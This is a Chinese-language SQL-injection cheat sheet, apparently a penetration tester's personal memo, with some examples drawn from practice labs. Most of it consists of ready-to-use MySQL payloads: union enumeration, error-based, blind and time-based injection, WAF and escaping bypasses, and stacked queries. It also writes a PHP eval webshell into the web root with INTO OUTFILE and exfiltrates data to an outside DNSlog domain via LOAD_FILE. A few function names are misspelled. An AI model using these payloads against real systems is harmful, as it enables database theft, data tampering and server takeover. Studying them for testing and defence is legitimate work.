目录
0x0 前言
由于手工注入时,经常忘记怎么敲,特意写关于sql注入的常用的注入查询,当作备忘笔记
2022/8/29
0x1 sql查询的词汇
字段:
Schema_name (所有数据库名的字段)
Table_schema (所有数据表的库的字段)
库:
Information_schema (MySQL5.0版本以后才有,用于查询所有数据库的信息)
列:
Schemata (在information_schema中作为查询库的列名)
Columns (列名)
Tables (表名)
0x2 sql中的查询手段
系统函数:
Version()==@@version
User()
Database()
@@datadir
@@version_compile_os
select mysql.user from user,host,password from user; 查看mysql数据库用户信息
update user set where ;修改用户表信息
delete from user where ;删除用户表信息
insert into user(user,password) values('',''); 添加用户表字段内容
update user set password=password('root') where user='root'; 在MySQL中指定密码类型为root
常用的拼接查询语句函数:
Concat_ws(‘统一符’,’数据‘…)
Group_concat(‘’,’’) 统一逗号分隔
Cocnat() 没有任何符号连接
注入查询:
Limit 0,x 第0行显示到x行的数据
Order by 试探列数
Union select 联合查询
schema_name from information_schema.schemata 查询所有数据库
查看指定数据库中的表名的数量
select count(*) from information_schema.tables where table_schema = 'xxx'
选中数据库名,查找该库所有表的信息
table_name from information_schema.tables where table_schema='数据库名'
查询指定库中表的列名信息
column_name from information_schema.columns where table_name='表名’ and table_schema= '数据库'
查询pikachu中的users表中字段的内容。
group_concat(id,username) from pikachu.users
总结:
Group_conat函数使用的原因,由于前面判断该查询数据列数为2,导致不能一次查询多个数据。在默认数据库中可以不写.以及前面的数据库。Limit 0.x 可以放在注入查询到末尾
0x3 sql提权
前提条件:
User()函数判断该数据库的user用户是否为root
@@global.secure_file_priv 查询有无读取和写入的权限
或者 @global.secure_file
-
设置为空,对所有路径均可进行导入导出。
-
设置为一个目录名字,只允许在该路径下导入导出。
-
设置为Null,禁止所有导入导出。
show global variables like ‘%数据%’;
读取信息:
在windows加上双斜杠,防止转义。LOAD_FILE(‘’)读取路径中文件的信息
load_file('D:\\ruanjian\\phpstudy\\PHPTutorial\\www\\hh.txt')
写入后门:
由于后门是字符串,需要导入到该路径的php文件里,所以前面需要用双引号。
INTO OUTFILE在在mysql中为导入
select "<?php @eval($_POST['c']);?>" INTO OUTFILE 'D:\\ruanjian\\phpstudy\\PHPTutorial\\www\\hh.php'
0x4 注入过程事项
表名为数字时,要用反引号包起来查询
``
在手工注入的时候,要记住必须使用双引号
第一行是错的
Post请求中需要解码后发送
get请求中需要编码后发送
绕过符号:
MySQL中的内联注释符/*..*/
执行内联符/*!..*/
干扰waf检测可用%0a,%00,%23
闭合符号:
%‘ 模糊查询
‘
“
‘)
)
“)
“))
测试注入点:
And 1=1 (2)
Or 1=1 (2)
0x5 sql注入提升
报错注入,一般用于delete注入和update注入,通常在页面不能正常回显的数据时使用
函数:
mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误
updatexml(1,concat(0x7e,(报错内容),0x7e),1) 前后两个数字随意,中间的为报错信息
extractvalue() 函数同理
注入场景:
查询注入,通过查询获取数据库信息,或者提权
Select * from xxx where name=xxx
删除注入可以删除数据库的信息,或者配合报错函数来获取数据库信息
Delete注入语句为delete from xxx where id=xxx
更新注入可修改数据库的信息,配合报错函数来获取数据库信息,或者提权
update user set password='' where username=''
插入注入,可添加数据库信息
insert into 表名.() values()
报错注入语句:
or updatexml(1,concat(0x7e,(select version()),0x7e),1) or
注意:或者and,当不存在闭合符号的时候,报错语句后面不需要添加and或者or,否则会报错
0x6 sql注入之盲注&DNSlog注入
此情况发生在,当任何闭合符号输入到渗透目标时都处于无回显的情况下使用
- 测试注入点的闭合符号
布尔测试法:
测试注入点的时候,注入点一定要为正确的数值或者本来的数值才能判断是否正确
语句:admin’ and 1=’1
此admin或者其他值一定要是渗透目标本身具有的不能删除或者修改,可以通过此原理,当1=1时admin页面值的网页没有任何变化和报错,否则会显示不正常页面
延时测试法:
Sleep函数为延时多少秒,也就是说闭合符号成功闭合的同时会延时10秒,那么这个闭合符号就是正确的。
语句:and sleep(10)--+
注释测试法:
‘ --+ 真
‘ 假
- 利用盲注查询数据库信息
Dnslog注入:
由于盲注本省效率过低,通过dnslog的原理,可以获得有回显得信息。但是渗透目标的数据库必须为高权限,并且secure_file_privi的值要为空。回显的时候每次只显示一条,limit。
语句:and load_file(concat('\\\\',(查询内容),'.dng域名\\abc'))--+.
布尔盲注:
所谓布尔,意思就是利用真假的逻辑关系进行判断该结论是否正确。在注入中只需要判断页面是否正常即可,如果不正常结论为假,否则为真
语句:
and length(查询信息)<8--+ 判断信息长度
and left(查询信息,1)='p'--+ 猜解从左开始的第一位的信息的字符
and mid(database(),1,7)='pikachu'--+ 猜解1,7的字符为...相比left函数优点是可以逐个字符进行bp配合爆破,同义函数为substr
and ascii(mid(database(),1,7))>1--+ ascii码猜解
也可以使用亦或
0^(ascii(substr((select(flag)from(flag)),1,1))=102)
一个标注的布尔盲注语句:
# 枚举库名
or ascii(substr(database(),1,1)) = ASCII数字
# 或者 以此类推
or ascii(substr(database() from 1 for 1) ) = ASCII数字
# 枚举表名
or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from 1 for 1))=1
# 枚举列名
or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = "flag") from 1 for 1)) = 1
# 枚举字段名
or ascii(substr((select flag from security.flag) from 1 for 1))=1
延时注入:
当页面无论正确还是错误都没有任何变化时,通过对时间的判断进行抉择。
函数利用:
if ,sleep()
if((),sleep(0),sleep(10))
0x7 绕过转义
宽字节注入:
Get请求中使用url编码组合构成gbk汉字编码实现绕过,例如%df+%5c等于繁体字“連“,成功绕过转义成’\’
Post请求中有特殊符号绕过法,特殊符号加闭合符号即可,或者利用%df解码后发送
语句:uname= �'or 1=1#&passwd=&submit=Submit
原理:就是利用前面注入过程事项所讲的,在post请求中需要解码后发送。在bp操作建议。也就是说%df在bp经历了解码过程后发送,造成了post注入效果。法2,随便一个特殊符号也行。
0x8 二次注入
二次注入也称为更新注入,原理在于sql的语句insert和update,用户插入一个恶意语句被过滤了,但是更新数据库中内容的时候又被触发了。
//在php源代码中,由于恶意的攻击载荷导致了php语句的不能正常执行原来的功能,当传入sql语句到数据库中就变成了恶意语句。
//例如admin#注释了php代码后面的语句,在数据库中就变成了admin用户
当注册一个用户时候,payload为admin' or union select 1#
更新到数据库时候为:admin' or unioin select 1 //因为#为注释,只剩下前面的危险sql语句
0x9 堆叠注入
原理为:在MySQL中分号(;)是用来表示一条sql语句的结束。我们在 ; 结束一个sql语句后继续构造下一条语句,也就构造了堆叠注入。堆叠注入相比于联合注入是可以执行任何语句的
常用的查看数据库信息
;show tables; // 查看表
;show databases; //查看数据库
;show columns from 表名; //查看表名中的列
-->常用堆叠注入获取数据的语句
// prepare…from…是预处理语句,会进行编码转换,总之会提前处理sql语句。
// execute用来执行由SQLPrepare创建的SQL语句。
// SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
意思是通过set变量赋值于@a,同时@a为预处理语句,它可以是字符串
最后通过预处理执行字符串成为了sql语句,命名为hh它来源于@a变量,execute 执行hh
字符串拼接
';set@a=concat('sel','ect * from users;');prepare hh from @a;execute hh;
十六进制绕过
';set@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare hh from @a;execute hh;
利用handler读取表中的数据:
handler 表名 open; //打开一个表
handler 表名 read first;//读取表中第一行数据
//获取下一行数据next
//获取上一行数据PREV
//获取最后一行数据LAST
当表名很长的时候,也可以像python一样,打开句柄
handler 表名 open as f;handler f read first;
handler f close; // 使用完之后,为确保数据库没损坏建议使用关闭
详细可以参考这篇博客
https://www.cnblogs.com/tysec/p/15161004.html#0x04%E5%8F%82%E8%80%83